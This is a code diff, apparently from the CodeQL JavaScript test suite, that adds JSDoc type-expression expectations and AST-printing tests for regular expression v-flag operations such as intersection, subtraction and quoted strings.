 | tst.js:53:11:53:16 | number | tst.js:53:4:53:8 | @enum | 0 |
+| tst.js:68:14:68:17 | goog | tst.js:68:14:68:20 | goog.ds | 0 |
+| tst.js:68:14:68:20 | goog.ds | tst.js:68:14:68:34 | goog.ds.BasicNodeList | 0 |
 | tst.js:68:14:68:34 | goog.ds.BasicNodeList | tst.js:68:4:68:11 | @extends | 0 |
+| tst.js:68:19:68:20 | ds | tst.js:68:14:68:20 | goog.ds | 1 |
+| tst.js:68:22:68:34 | BasicNodeList | tst.js:68:14:68:34 | goog.ds.BasicNodeList | 1 |
 | tst.js:95:17:95:21 | Shape | tst.js:95:4:95:14 | @implements | 0 |
 | tst.js:110:14:110:18 | Shape | tst.js:110:4:110:11 | @extends | 0 |
 | tst.js:134:13:134:18 | Object | tst.js:134:4:134:10 | @return | 0 |
@@ -298,7 +302,9 @@ test_JSDocTypeExpr
 | tst.js:216:15:216:29 | (string\|number) | tst.js:216:5:216:12 | @typedef | 0 |
 | tst.js:216:16:216:21 | string | tst.js:216:15:216:29 | (string\|number) | 0 |
 | tst.js:216:23:216:28 | number | tst.js:216:15:216:29 | (string\|number) | 1 |
+| tst.js:219:13:219:16 | goog | tst.js:219:13:219:27 | goog.NumberLike | 0 |
 | tst.js:219:13:219:27 | goog.NumberLike | tst.js:219:5:219:10 | @param | 0 |
+| tst.js:219:18:219:27 | NumberLike | tst.js:219:13:219:27 | goog.NumberLike | 1 |
 | tst.js:223:12:223:36 | {myNum: number, myObject} | tst.js:223:5:223:9 | @type | 0 |
 | tst.js:223:20:223:25 | number | tst.js:223:12:223:36 | {myNum: number, myObject} | 0 |
 | tst.js:226:12:226:17 | number | tst.js:226:12:226:18 | number? | 0 |
@@ -311,10 +317,18 @@ test_JSDocTypeExpr
 | tst.js:234:12:234:29 | function (): number | tst.js:234:4:234:9 | @param | 0 |
 | tst.js:234:24:234:29 | number | tst.js:234:12:234:29 | function (): number | -1 |
 | tst.js:235:12:235:46 | function (this: goog.ui.Menu, string) | tst.js:235:4:235:9 | @param | 0 |
+| tst.js:235:26:235:29 | goog | tst.js:235:26:235:32 | goog.ui | 0 |
+| tst.js:235:26:235:32 | goog.ui | tst.js:235:26:235:37 | goog.ui.Menu | 0 |
 | tst.js:235:26:235:37 | goog.ui.Menu | tst.js:235:12:235:46 | function (this: goog.ui.Menu, string) | -2 |
+| tst.js:235:31:235:32 | ui | tst.js:235:26:235:32 | goog.ui | 1 |
+| tst.js:235:34:235:37 | Menu | tst.js:235:26:235:37 | goog.ui.Menu | 1 |
 | tst.js:235:40:235:45 | string | tst.js:235:12:235:46 | function (this: goog.ui.Menu, string) | 0 |
 | tst.js:236:12:236:45 | function (new: goog.ui.Menu, string) | tst.js:236:4:236:9 | @param | 0 |
+| tst.js:236:25:236:28 | goog | tst.js:236:25:236:31 | goog.ui | 0 |
+| tst.js:236:25:236:31 | goog.ui | tst.js:236:25:236:36 | goog.ui.Menu | 0 |
 | tst.js:236:25:236:36 | goog.ui.Menu | tst.js:236:12:236:45 | function (new: goog.ui.Menu, string) | -2 |
+| tst.js:236:30:236:31 | ui | tst.js:236:25:236:31 | goog.ui | 1 |
+| tst.js:236:33:236:36 | Menu | tst.js:236:25:236:36 | goog.ui.Menu | 1 |
 | tst.js:236:39:236:44 | string | tst.js:236:12:236:45 | function (new: goog.ui.Menu, string) | 0 |
 | tst.js:237:12:237:48 | function (string, ...[number]): number | tst.js:237:4:237:9 | @param | 0 |
 | tst.js:237:21:237:26 | string | tst.js:237:12:237:48 | function (string, ...[number]): number | 0 |
diff --git a/javascript/ql/test/library-tests/RegExp/VFlagOperations/CombinationOfOperators/printAst.expected b/javascript/ql/test/library-tests/RegExp/VFlagOperations/CombinationOfOperators/printAst.expected
new file mode 100644
index 000000000000..37d81a9a76b9
--- /dev/null
+++ b/javascript/ql/test/library-tests/RegExp/VFlagOperations/CombinationOfOperators/printAst.expected
@@ -0,0 +1,66 @@
+nodes
+| tst.js:1:1:1:44 | [RegExpLiteral] /[[[ab1]&&[b1]]--[a]--[\\p{Number}\\q{z\|a}]]/v | semmle.label | [RegExpLiteral] /[[[ab1]&&[b1]]--[a]--[\\p{Number}\\q{z\|a}]]/v |
+| tst.js:1:1:1:45 | [ExprStmt] /[[[ab1 ... a}]]/v; | semmle.label | [ExprStmt] /[[[ab1 ... a}]]/v; |
+| tst.js:1:1:1:45 | [ExprStmt] /[[[ab1 ... a}]]/v; | semmle.order | 1 |
+| tst.js:1:2:1:42 | [RegExpCharacterClass] [[[ab1]&&[b1]]--[a]--[\\p{Number}\\q{z\|a}]] | semmle.label | [RegExpCharacterClass] [[[ab1]&&[b1]]--[a]--[\\p{Number}\\q{z\|a}]] |
+| tst.js:1:2:1:42 | [RegExpSubtraction] [[[ab1]&&[b1]]--[a]--[\\p{Number}\\q{z\|a}]] | semmle.label | [RegExpSubtraction] [[[ab1]&&[b1]]--[a]--[\\p{Number}\\q{z\|a}]] |
+| tst.js:1:3:1:15 | [RegExpCharacterClass] [[ab1]&&[b1]] | semmle.label | [RegExpCharacterClass] [[ab1]&&[b1]] |
+| tst.js:1:3:1:15 | [RegExpIntersection] [[ab1]&&[b1]] | semmle.label | [RegExpIntersection] [[ab1]&&[b1]] |
+| tst.js:1:4:1:8 | [RegExpCharacterClass] [ab1] | semmle.label | [RegExpCharacterClass] [ab1] |
+| tst.js:1:5:1:5 | [RegExpNormalConstant] a | semmle.label | [RegExpNormalConstant] a |
+| tst.js:1:6:1:6 | [RegExpNormalConstant] b | semmle.label | [RegExpNormalConstant] b |
+| tst.js:1:7:1:7 | [RegExpNormalConstant] 1 | semmle.label | [RegExpNormalConstant] 1 |
+| tst.js:1:11:1:14 | [RegExpCharacterClass] [b1] | semmle.label | [RegExpCharacterClass] [b1] |
+| tst.js:1:12:1:12 | [RegExpNormalConstant] b | semmle.label | [RegExpNormalConstant] b |
+| tst.js:1:13:1:13 | [RegExpNormalConstant] 1 | semmle.label | [RegExpNormalConstant] 1 |
+| tst.js:1:18:1:20 | [RegExpCharacterClass] [a] | semmle.label | [RegExpCharacterClass] [a] |
+| tst.js:1:19:1:19 | [RegExpNormalConstant] a | semmle.label | [RegExpNormalConstant] a |
+| tst.js:1:23:1:41 | [RegExpCharacterClass] [\\p{Number}\\q{z\|a}] | semmle.label | [RegExpCharacterClass] [\\p{Number}\\q{z\|a}] |
+| tst.js:1:24:1:33 | [RegExpUnicodePropertyEscape] \\p{Number} | semmle.label | [RegExpUnicodePropertyEscape] \\p{Number} |
+| tst.js:1:34:1:40 | [RegExpQuotedString] \\q{z\|a} | semmle.label | [RegExpQuotedString] \\q{z\|a} |
+| tst.js:1:37:1:37 | [RegExpNormalConstant] z | semmle.label | [RegExpNormalConstant] z |
+| tst.js:1:37:1:39 | [RegExpAlt] z\|a | semmle.label | [RegExpAlt] z\|a |
+| tst.js:1:39:1:39 | [RegExpNormalConstant] a | semmle.label | [RegExpNormalConstant] a |
+edges
+| tst.js:1:1:1:44 | [RegExpLiteral] /[[[ab1]&&[b1]]--[a]--[\\p{Number}\\q{z\|a}]]/v | tst.js:1:2:1:42 | [RegExpCharacterClass] [[[ab1]&&[b1]]--[a]--[\\p{Number}\\q{z\|a}]] | semmle.label | 0 |
+| tst.js:1:1:1:44 | [RegExpLiteral] /[[[ab1]&&[b1]]--[a]--[\\p{Number}\\q{z\|a}]]/v | tst.js:1:2:1:42 | [RegExpCharacterClass] [[[ab1]&&[b1]]--[a]--[\\p{Number}\\q{z\|a}]] | semmle.order | 0 |
+| tst.js:1:1:1:45 | [ExprStmt] /[[[ab1 ... a}]]/v; | tst.js:1:1:1:44 | [RegExpLiteral] /[[[ab1]&&[b1]]--[a]--[\\p{Number}\\q{z\|a}]]/v | semmle.label | 1 |
+| tst.js:1:1:1:45 | [ExprStmt] /[[[ab1 ... a}]]/v; | tst.js:1:1:1:44 | [RegExpLiteral] /[[[ab1]&&[b1]]--[a]--[\\p{Number}\\q{z\|a}]]/v | semmle.order | 1 |
+| tst.js:1:2:1:42 | [RegExpCharacterClass] [[[ab1]&&[b1]]--[a]--[\\p{Number}\\q{z\|a}]] | tst.js:1:2:1:42 | [RegExpSubtraction] [[[ab1]&&[b1]]--[a]--[\\p{Number}\\q{z\|a}]] | semmle.label | 0 |
+| tst.js:1:2:1:42 | [RegExpCharacterClass] [[[ab1]&&[b1]]--[a]--[\\p{Number}\\q{z\|a}]] | tst.js:1:2:1:42 | [RegExpSubtraction] [[[ab1]&&[b1]]--[a]--[\\p{Number}\\q{z\|a}]] | semmle.order | 0 |
+| tst.js:1:2:1:42 | [RegExpSubtraction] [[[ab1]&&[b1]]--[a]--[\\p{Number}\\q{z\|a}]] | tst.js:1:3:1:15 | [RegExpCharacterClass] [[ab1]&&[b1]] | semmle.label | 0 |
+| tst.js:1:2:1:42 | [RegExpSubtraction] [[[ab1]&&[b1]]--[a]--[\\p{Number}\\q{z\|a}]] | tst.js:1:3:1:15 | [RegExpCharacterClass] [[ab1]&&[b1]] | semmle.order | 0 |
+| tst.js:1:2:1:42 | [RegExpSubtraction] [[[ab1]&&[b1]]--[a]--[\\p{Number}\\q{z\|a}]] | tst.js:1:18:1:20 | [RegExpCharacterClass] [a] | semmle.label | 1 |
+| tst.js:1:2:1:42 | [RegExpSubtraction] [[[ab1]&&[b1]]--[a]--[\\p{Number}\\q{z\|a}]] | tst.js:1:18:1:20 | [RegExpCharacterClass] [a] | semmle.order | 1 |
+| tst.js:1:2:1:42 | [RegExpSubtraction] [[[ab1]&&[b1]]--[a]--[\\p{Number}\\q{z\|a}]] | tst.js:1:23:1:41 | [RegExpCharacterClass] [\\p{Number}\\q{z\|a}] | semmle.label | 2 |
+| tst.js:1:2:1:42 | [RegExpSubtraction] [[[ab1]&&[b1]]--[a]--[\\p{Number}\\q{z\|a}]] | tst.js:1:23:1:41 | [RegExpCharacterClass] [\\p{Number}\\q{z\|a}] | semmle.order | 2 |
+| tst.js:1:3:1:15 | [RegExpCharacterClass] [[ab1]&&[b1]] | tst.js:1:3:1:15 | [RegExpIntersection] [[ab1]&&[b1]] | semmle.label | 0 |
+| tst.js:1:3:1:15 | [RegExpCharacterClass] [[ab1]&&[b1]] | tst.js:1:3:1:15 | [RegExpIntersection] [[ab1]&&[b1]] | semmle.order | 0 |
+| tst.js:1:3:1:15 | [RegExpIntersection] [[ab1]&&[b1]] | tst.js:1:4:1:8 | [RegExpCharacterClass] [ab1] | semmle.label | 0 |
+| tst.js:1:3:1:15 | [RegExpIntersection] [[ab1]&&[b1]] | tst.js:1:4:1:8 | [RegExpCharacterClass] [ab1] | semmle.order | 0 |
+| tst.js:1:3:1:15 | [RegExpIntersection] [[ab1]&&[b1]] | tst.js:1:11:1:14 | [RegExpCharacterClass] [b1] | semmle.label | 1 |
+| tst.js:1:3:1:15 | [RegExpIntersection] [[ab1]&&[b1]] | tst.js:1:11:1:14 | [RegExpCharacterClass] [b1] | semmle.order | 1 |
+| tst.js:1:4:1:8 | [RegExpCharacterClass] [ab1] | tst.js:1:5:1:5 | [RegExpNormalConstant] a | semmle.label | 0 |
+| tst.js:1:4:1:8 | [RegExpCharacterClass] [ab1] | tst.js:1:5:1:5 | [RegExpNormalConstant] a | semmle.order | 0 |
+| tst.js:1:4:1:8 | [RegExpCharacterClass] [ab1] | tst.js:1:6:1:6 | [RegExpNormalConstant] b | semmle.label | 1 |
+| tst.js:1:4:1:8 | [RegExpCharacterClass] [ab1] | tst.js:1:6:1:6 | [RegExpNormalConstant] b | semmle.order | 1 |
+| tst.js:1:4:1:8 | [RegExpCharacterClass] [ab1] | tst.js:1:7:1:7 | [RegExpNormalConstant] 1 | semmle.label | 2 |
+| tst.js:1:4:1:8 | [RegExpCharacterClass] [ab1] | tst.js:1:7:1:7 | [RegExpNormalConstant] 1 | semmle.order | 2 |
+| tst.js:1:11:1:14 | [RegExpCharacterClass] [b1] | tst.js:1:12:1:12 | [RegExpNormalConstant] b | semmle.label | 0 |
+| tst.js:1:11:1:14 | [RegExpCharacterClass] [b1] | tst.js:1:12:1:12 | [RegExpNormalConstant] b | semmle.order | 0 |
+| tst.js:1:11:1:14 | [RegExpCharacterClass] [b1] | tst.js:1:13:1:13 | [RegExpNormalConstant] 1 | semmle.label | 1 |
+| tst.js:1:11:1:14 | [RegExpCharacterClass] [b1] | tst.js:1:13:1:13 | [RegExpNormalConstant] 1 | semmle.order | 1 |
+| tst.js:1:18:1:20 | [RegExpCharacterClass] [a] | tst.js:1:19:1:19 | [RegExpNormalConstant] a | semmle.label | 0 |
+| tst.js:1:18:1:20 | [RegExpCharacterClass] [a] | tst.js:1:19:1:19 | [RegExpNormalConstant] a | semmle.order | 0 |
+| tst.js:1:23:1:41 | [RegExpCharacterClass] [\\p{Number}\\q{z\|a}] | tst.js:1:24:1:33 | [RegExpUnicodePropertyEscape] \\p{Number} | semmle.label | 0 |
+| tst.js:1:23:1:41 | [RegExpCharacterClass] [\\p{Number}\\q{z\|a}] | tst.js:1:24:1:33 | [RegExpUnicodePropertyEscape] \\p{Number} | semmle.order | 0 |
+| tst.js:1:23:1:41 | [RegExpCharacterClass] [\\p{Number}\\q{z\|a}] | tst.js:1:34:1:40 | [RegExpQuotedString] \\q{z\|a} | semmle.label | 1 |
+| tst.js:1:23:1:41 | [RegExpCharacterClass] [\\p{Number}\\q{z\|a}] | tst.js:1:34:1:40 | [RegExpQuotedString] \\q{z\|a} | semmle.order | 1 |
+| tst.js:1:34:1:40 | [RegExpQuotedString] \\q{z\|a} | tst.js:1:37:1:39 | [RegExpAlt] z\|a | semmle.label | 0 |
+| tst.js:1:34:1:40 | [RegExpQuotedString] \\q{z\|a} | tst.js:1:37:1:39 | [RegExpAlt] z\|a | semmle.order | 0 |
+| tst.js:1:37:1:39 | [RegExpAlt] z\|a | tst.js:1:37:1:37 | [RegExpNormalConstant] z | semmle.label | 0 |
+| tst.js:1:37:1:39 | [RegExpAlt] z\|a | tst.js:1:37:1:37 | [RegExpNormalConstant] z | semmle.order | 0 |
+| tst.js:1:37:1:39 | [RegExpAlt] z\|a | tst.js:1:39:1:39 | [RegExpNormalConstant] a | semmle.label | 1 |
+| tst.js:1:37:1:39 | [RegExpAlt] z\|a | tst.js:1:39:1:39 | [RegExpNormalConstant] a | semmle.order | 1 |
+graphProperties
+| semmle.graphKind | tree |
diff --git a/javascript/ql/test/library-tests/RegExp/VFlagOperations/CombinationOfOperators/printAst.ql b/javascript/ql/test/library-tests/RegExp/VFlagOperations/CombinationOfOperators/printAst.ql
new file mode 100644
index 000000000000..8ceaf83964a3
--- /dev/null
+++ b/javascript/ql/test/library-tests/RegExp/VFlagOperations/CombinationOfOperators/printAst.ql
@@ -0,0 +1 @@
+import semmle.javascript.PrintAst
diff --git a/javascript/ql/test/library-tests/RegExp/VFlagOperations/CombinationOfOperators/tst.js b/javascript/ql/test/library-tests/RegExp/VFlagOperations/CombinationOfOperators/tst.js
new file mode 100644
index 000000000000..bc9b0a966a44
--- /dev/null
+++ b/javascript/ql/test/library-tests/RegExp/VFlagOperations/CombinationOfOperators/tst.js
@@ -0,0 +1 @@
+/[[[ab1]&&[b1]]--[a]--[\p{Number}\q{z|a}]]/v;
diff --git a/javascript/ql/test/library-tests/RegExp/VFlagOperations/Intersection/printAst.expected b/javascript/ql/test/library-tests/RegExp/VFlagOperations/Intersection/printAst.expected
new file mode 100644
index 000000000000..39aec1194e2a
--- /dev/null
+++ b/javascript/ql/test/library-tests/RegExp/VFlagOperations/Intersection/printAst.expected
@@ -0,0 +1,91 @@
+nodes
+| tst.js:1:1:1:23 | [RegExpLiteral] /[[abc]&&[bcd]&&[cd]]/v | semmle.label | [RegExpLiteral] /[[abc]&&[bcd]&&[cd]]/v |
+| tst.js:1:1:1:24 | [ExprStmt] /[[abc] ... cd]]/v; | semmle.label | [ExprStmt] /[[abc] ... cd]]/v; |
+| tst.js:1:1:1:24 | [ExprStmt] /[[abc] ... cd]]/v; | semmle.order | 1 |
+| tst.js:1:2:1:21 | [RegExpCharacterClass] [[abc]&&[bcd]&&[cd]] | semmle.label | [RegExpCharacterClass] [[abc]&&[bcd]&&[cd]] |
+| tst.js:1:2:1:21 | [RegExpIntersection] [[abc]&&[bcd]&&[cd]] | semmle.label | [RegExpIntersection] [[abc]&&[bcd]&&[cd]] |
+| tst.js:1:3:1:7 | [RegExpCharacterClass] [abc] | semmle.label | [RegExpCharacterClass] [abc] |
+| tst.js:1:4:1:4 | [RegExpNormalConstant] a | semmle.label | [RegExpNormalConstant] a |
+| tst.js:1:5:1:5 | [RegExpNormalConstant] b | semmle.label | [RegExpNormalConstant] b |
+| tst.js:1:6:1:6 | [RegExpNormalConstant] c | semmle.label | [RegExpNormalConstant] c |
+| tst.js:1:10:1:14 | [RegExpCharacterClass] [bcd] | semmle.label | [RegExpCharacterClass] [bcd] |
+| tst.js:1:11:1:11 | [RegExpNormalConstant] b | semmle.label | [RegExpNormalConstant] b |
+| tst.js:1:12:1:12 | [RegExpNormalConstant] c | semmle.label | [RegExpNormalConstant] c |
+| tst.js:1:13:1:13 | [RegExpNormalConstant] d | semmle.label | [RegExpNormalConstant] d |
+| tst.js:1:17:1:20 | [RegExpCharacterClass] [cd] | semmle.label | [RegExpCharacterClass] [cd] |
+| tst.js:1:18:1:18 | [RegExpNormalConstant] c | semmle.label | [RegExpNormalConstant] c |
+| tst.js:1:19:1:19 | [RegExpNormalConstant] d | semmle.label | [RegExpNormalConstant] d |
+| tst.js:2:1:2:11 | [RegExpLiteral] /abc&&bcd/v | semmle.label | [RegExpLiteral] /abc&&bcd/v |
+| tst.js:2:1:2:12 | [ExprStmt] /abc&&bcd/v; | semmle.label | [ExprStmt] /abc&&bcd/v; |
+| tst.js:2:1:2:12 | [ExprStmt] /abc&&bcd/v; | semmle.order | 2 |
+| tst.js:2:2:2:9 | [RegExpNormalConstant] abc&&bcd | semmle.label | [RegExpNormalConstant] abc&&bcd |
+| tst.js:3:1:3:15 | [RegExpLiteral] /[abc]&&[bcd]/v | semmle.label | [RegExpLiteral] /[abc]&&[bcd]/v |
+| tst.js:3:1:3:16 | [ExprStmt] /[abc]&&[bcd]/v; | semmle.label | [ExprStmt] /[abc]&&[bcd]/v; |
+| tst.js:3:1:3:16 | [ExprStmt] /[abc]&&[bcd]/v; | semmle.order | 3 |
+| tst.js:3:2:3:6 | [RegExpCharacterClass] [abc] | semmle.label | [RegExpCharacterClass] [abc] |
+| tst.js:3:2:3:13 | [RegExpSequence] [abc]&&[bcd] | semmle.label | [RegExpSequence] [abc]&&[bcd] |
+| tst.js:3:3:3:3 | [RegExpNormalConstant] a | semmle.label | [RegExpNormalConstant] a |
+| tst.js:3:4:3:4 | [RegExpNormalConstant] b | semmle.label | [RegExpNormalConstant] b |
+| tst.js:3:5:3:5 | [RegExpNormalConstant] c | semmle.label | [RegExpNormalConstant] c |
+| tst.js:3:7:3:8 | [RegExpNormalConstant] && | semmle.label | [RegExpNormalConstant] && |
+| tst.js:3:9:3:13 | [RegExpCharacterClass] [bcd] | semmle.label | [RegExpCharacterClass] [bcd] |
+| tst.js:3:10:3:10 | [RegExpNormalConstant] b | semmle.label | [RegExpNormalConstant] b |
+| tst.js:3:11:3:11 | [RegExpNormalConstant] c | semmle.label | [RegExpNormalConstant] c |
+| tst.js:3:12:3:12 | [RegExpNormalConstant] d | semmle.label | [RegExpNormalConstant] d |
+edges
+| tst.js:1:1:1:23 | [RegExpLiteral] /[[abc]&&[bcd]&&[cd]]/v | tst.js:1:2:1:21 | [RegExpCharacterClass] [[abc]&&[bcd]&&[cd]] | semmle.label | 0 |
+| tst.js:1:1:1:23 | [RegExpLiteral] /[[abc]&&[bcd]&&[cd]]/v | tst.js:1:2:1:21 | [RegExpCharacterClass] [[abc]&&[bcd]&&[cd]] | semmle.order | 0 |
+| tst.js:1:1:1:24 | [ExprStmt] /[[abc] ... cd]]/v; | tst.js:1:1:1:23 | [RegExpLiteral] /[[abc]&&[bcd]&&[cd]]/v | semmle.label | 1 |
+| tst.js:1:1:1:24 | [ExprStmt] /[[abc] ... cd]]/v; | tst.js:1:1:1:23 | [RegExpLiteral] /[[abc]&&[bcd]&&[cd]]/v | semmle.order | 1 |
+| tst.js:1:2:1:21 | [RegExpCharacterClass] [[abc]&&[bcd]&&[cd]] | tst.js:1:2:1:21 | [RegExpIntersection] [[abc]&&[bcd]&&[cd]] | semmle.label | 0 |
+| tst.js:1:2:1:21 | [RegExpCharacterClass] [[abc]&&[bcd]&&[cd]] | tst.js:1:2:1:21 | [RegExpIntersection] [[abc]&&[bcd]&&[cd]] | semmle.order | 0 |
+| tst.js:1:2:1:21 | [RegExpIntersection] [[abc]&&[bcd]&&[cd]] | tst.js:1:3:1:7 | [RegExpCharacterClass] [abc] | semmle.label | 0 |
+| tst.js:1:2:1:21 | [RegExpIntersection] [[abc]&&[bcd]&&[cd]] | tst.js:1:3:1:7 | [RegExpCharacterClass] [abc] | semmle.order | 0 |
+| tst.js:1:2:1:21 | [RegExpIntersection] [[abc]&&[bcd]&&[cd]] | tst.js:1:10:1:14 | [RegExpCharacterClass] [bcd] | semmle.label | 1 |
+| tst.js:1:2:1:21 | [RegExpIntersection] [[abc]&&[bcd]&&[cd]] | tst.js:1:10:1:14 | [RegExpCharacterClass] [bcd] | semmle.order | 1 |
+| tst.js:1:2:1:21 | [RegExpIntersection] [[abc]&&[bcd]&&[cd]] | tst.js:1:17:1:20 | [RegExpCharacterClass] [cd] | semmle.label | 2 |
+| tst.js:1:2:1:21 | [RegExpIntersection] [[abc]&&[bcd]&&[cd]] | tst.js:1:17:1:20 | [RegExpCharacterClass] [cd] | semmle.order | 2 |
+| tst.js:1:3:1:7 | [RegExpCharacterClass] [abc] | tst.js:1:4:1:4 | [RegExpNormalConstant] a | semmle.label | 0 |
+| tst.js:1:3:1:7 | [RegExpCharacterClass] [abc] | tst.js:1:4:1:4 | [RegExpNormalConstant] a | semmle.order | 0 |
+| tst.js:1:3:1:7 | [RegExpCharacterClass] [abc] | tst.js:1:5:1:5 | [RegExpNormalConstant] b | semmle.label | 1 |
+| tst.js:1:3:1:7 | [RegExpCharacterClass] [abc] | tst.js:1:5:1:5 | [RegExpNormalConstant] b | semmle.order | 1 |
+| tst.js:1:3:1:7 | [RegExpCharacterClass] [abc] | tst.js:1:6:1:6 | [RegExpNormalConstant] c | semmle.label | 2 |
+| tst.js:1:3:1:7 | [RegExpCharacterClass] [abc] | tst.js:1:6:1:6 | [RegExpNormalConstant] c | semmle.order | 2 |
+| tst.js:1:10:1:14 | [RegExpCharacterClass] [bcd] | tst.js:1:11:1:11 | [RegExpNormalConstant] b | semmle.label | 0 |
+| tst.js:1:10:1:14 | [RegExpCharacterClass] [bcd] | tst.js:1:11:1:11 | [RegExpNormalConstant] b | semmle.order | 0 |
+| tst.js:1:10:1:14 | [RegExpCharacterClass] [bcd] | tst.js:1:12:1:12 | [RegExpNormalConstant] c | semmle.label | 1 |
+| tst.js:1:10:1:14 | [RegExpCharacterClass] [bcd] | tst.js:1:12:1:12 | [RegExpNormalConstant] c | semmle.order | 1 |
+| tst.js:1:10:1:14 | [RegExpCharacterClass] [bcd] | tst.js:1:13:1:13 | [RegExpNormalConstant] d | semmle.label | 2 |
+| tst.js:1:10:1:14 | [RegExpCharacterClass] [bcd] | tst.js:1:13:1:13 | [RegExpNormalConstant] d | semmle.order | 2 |
+| tst.js:1:17:1:20 | [RegExpCharacterClass] [cd] | tst.js:1:18:1:18 | [RegExpNormalConstant] c | semmle.label | 0 |
+| tst.js:1:17:1:20 | [RegExpCharacterClass] [cd] | tst.js:1:18:1:18 | [RegExpNormalConstant] c | semmle.order | 0 |
+| tst.js:1:17:1:20 | [RegExpCharacterClass] [cd] | tst.js:1:19:1:19 | [RegExpNormalConstant] d | semmle.label | 1 |
+| tst.js:1:17:1:20 | [RegExpCharacterClass] [cd] | tst.js:1:19:1:19 | [RegExpNormalConstant] d | semmle.order | 1 |
+| tst.js:2:1:2:11 | [RegExpLiteral] /abc&&bcd/v | tst.js:2:2:2:9 | [RegExpNormalConstant] abc&&bcd | semmle.label | 0 |
+| tst.js:2:1:2:11 | [RegExpLiteral] /abc&&bcd/v | tst.js:2:2:2:9 | [RegExpNormalConstant] abc&&bcd | semmle.order | 0 |
+| tst.js:2:1:2:12 | [ExprStmt] /abc&&bcd/v; | tst.js:2:1:2:11 | [RegExpLiteral] /abc&&bcd/v | semmle.label | 1 |
+| tst.js:2:1:2:12 | [ExprStmt] /abc&&bcd/v; | tst.js:2:1:2:11 | [RegExpLiteral] /abc&&bcd/v | semmle.order | 1 |
+| tst.js:3:1:3:15 | [RegExpLiteral] /[abc]&&[bcd]/v | tst.js:3:2:3:13 | [RegExpSequence] [abc]&&[bcd] | semmle.label | 0 |
+| tst.js:3:1:3:15 | [RegExpLiteral] /[abc]&&[bcd]/v | tst.js:3:2:3:13 | [RegExpSequence] [abc]&&[bcd] | semmle.order | 0 |
+| tst.js:3:1:3:16 | [ExprStmt] /[abc]&&[bcd]/v; | tst.js:3:1:3:15 | [RegExpLiteral] /[abc]&&[bcd]/v | semmle.label | 1 |
+| tst.js:3:1:3:16 | [ExprStmt] /[abc]&&[bcd]/v; | tst.js:3:1:3:15 | [RegExpLiteral] /[abc]&&[bcd]/v | semmle.order | 1 |
+| tst.js:3:2:3:6 | [RegExpCharacterClass] [abc] | tst.js:3:3:3:3 | [RegExpNormalConstant] a | semmle.label | 0 |
+| tst.js:3:2:3:6 | [RegExpCharacterClass] [abc] | tst.js:3:3:3:3 | [RegExpNormalConstant] a | semmle.order | 0 |
+| tst.js:3:2:3:6 | [RegExpCharacterClass] [abc] | tst.js:3:4:3:4 | [RegExpNormalConstant] b | semmle.label | 1 |
+| tst.js:3:2:3:6 | [RegExpCharacterClass] [abc] | tst.js:3:4:3:4 | [RegExpNormalConstant] b | semmle.order | 1 |
+| tst.js:3:2:3:6 | [RegExpCharacterClass] [abc] | tst.js:3:5:3:5 | [RegExpNormalConstant] c | semmle.label | 2 |
+| tst.js:3:2:3:6 | [RegExpCharacterClass] [abc] | tst.js:3:5:3:5 | [RegExpNormalConstant] c | semmle.order | 2 |
+| tst.js:3:2:3:13 | [RegExpSequence] [abc]&&[bcd] | tst.js:3:2:3:6 | [RegExpCharacterClass] [abc] | semmle.label | 0 |
+| tst.js:3:2:3:13 | [RegExpSequence] [abc]&&[bcd] | tst.js:3:2:3:6 | [RegExpCharacterClass] [abc] | semmle.order | 0 |
+| tst.js:3:2:3:13 | [RegExpSequence] [abc]&&[bcd] | tst.js:3:7:3:8 | [RegExpNormalConstant] && | semmle.label | 1 |
+| tst.js:3:2:3:13 | [RegExpSequence] [abc]&&[bcd] | tst.js:3:7:3:8 | [RegExpNormalConstant] && | semmle.order | 1 |
+| tst.js:3:2:3:13 | [RegExpSequence] [abc]&&[bcd] | tst.js:3:9:3:13 | [RegExpCharacterClass] [bcd] | semmle.label | 2 |
+| tst.js:3:2:3:13 | [RegExpSequence] [abc]&&[bcd] | tst.js:3:9:3:13 | [RegExpCharacterClass] [bcd] | semmle.order | 2 |
+| tst.js:3:9:3:13 | [RegExpCharacterClass] [bcd] | tst.js:3:10:3:10 | [RegExpNormalConstant] b | semmle.label | 0 |
+| tst.js:3:9:3:13 | [RegExpCharacterClass] [bcd] | tst.js:3:10:3:10 | [RegExpNormalConstant] b | semmle.order | 0 |
+| tst.js:3:9:3:13 | [RegExpCharacterClass] [bcd] | tst.js:3:11:3:11 | [RegExpNormalConstant] c | semmle.label | 1 |
+| tst.js:3:9:3:13 | [RegExpCharacterClass] [bcd] | tst.js:3:11:3:11 | [RegExpNormalConstant] c | semmle.order | 1 |
+| tst.js:3:9:3:13 | [RegExpCharacterClass] [bcd] | tst.js:3:12:3:12 | [RegExpNormalConstant] d | semmle.label | 2 |
+| tst.js:3:9:3:13 | [RegExpCharacterClass] [bcd] | tst.js:3:12:3:12 | [RegExpNormalConstant] d | semmle.order | 2 |
+graphProperties
+| semmle.graphKind | tree |
diff --git a/javascript/ql/test/library-tests/RegExp/VFlagOperations/Intersection/printAst.ql b/javascript/ql/test/library-tests/RegExp/VFlagOperations/Intersection/printAst.ql
new file mode 100644
index 000000000000..8ceaf83964a3
--- /dev/null
+++ b/javascript/ql/test/library-tests/RegExp/VFlagOperations/Intersection/printAst.ql
@@ -0,0 +1 @@
+import semmle.javascript.PrintAst
diff --git a/javascript/ql/test/library-tests/RegExp/VFlagOperations/Intersection/tst.js b/javascript/ql/test/library-tests/RegExp/VFlagOperations/Intersection/tst.js
new file mode 100644
index 000000000000..b2aa6fc6322e
--- /dev/null
+++ b/javascript/ql/test/library-tests/RegExp/VFlagOperations/Intersection/tst.js
@@ -0,0 +1,6 @@
+/[[abc]&&[bcd]&&[cd]]/v; // Valid use of intersection operator, matches b or c
+/abc&&bcd/v; //Valid regex, but no intersection operation: Matches the literal string "abc&&bcd"
+/[abc]&&[bcd]/v; // Valid regex, but incorrect intersection operation: 
+                 // - Matches a single character from [abc]
+                 // - Then the literal "&&"
+                 // - Then a single character from [bcd]
diff --git a/javascript/ql/test/library-tests/RegExp/VFlagOperations/QuotedString/printAst.expected b/javascript/ql/test/library-tests/RegExp/VFlagOperations/QuotedString/printAst.expected
new file mode 100644
index 000000000000..fc47fce03cd4
--- /dev/null
+++ b/javascript/ql/test/library-tests/RegExp/VFlagOperations/QuotedString/printAst.expected
@@ -0,0 +1,121 @@
+nodes
+| tst.js:1:1:1:12 | [RegExpLiteral] /[\\q{abc}]/v | semmle.label | [RegExpLiteral] /[\\q{abc}]/v |
+| tst.js:1:1:1:13 | [ExprStmt] /[\\q{abc}]/v; | semmle.label | [ExprStmt] /[\\q{abc}]/v; |
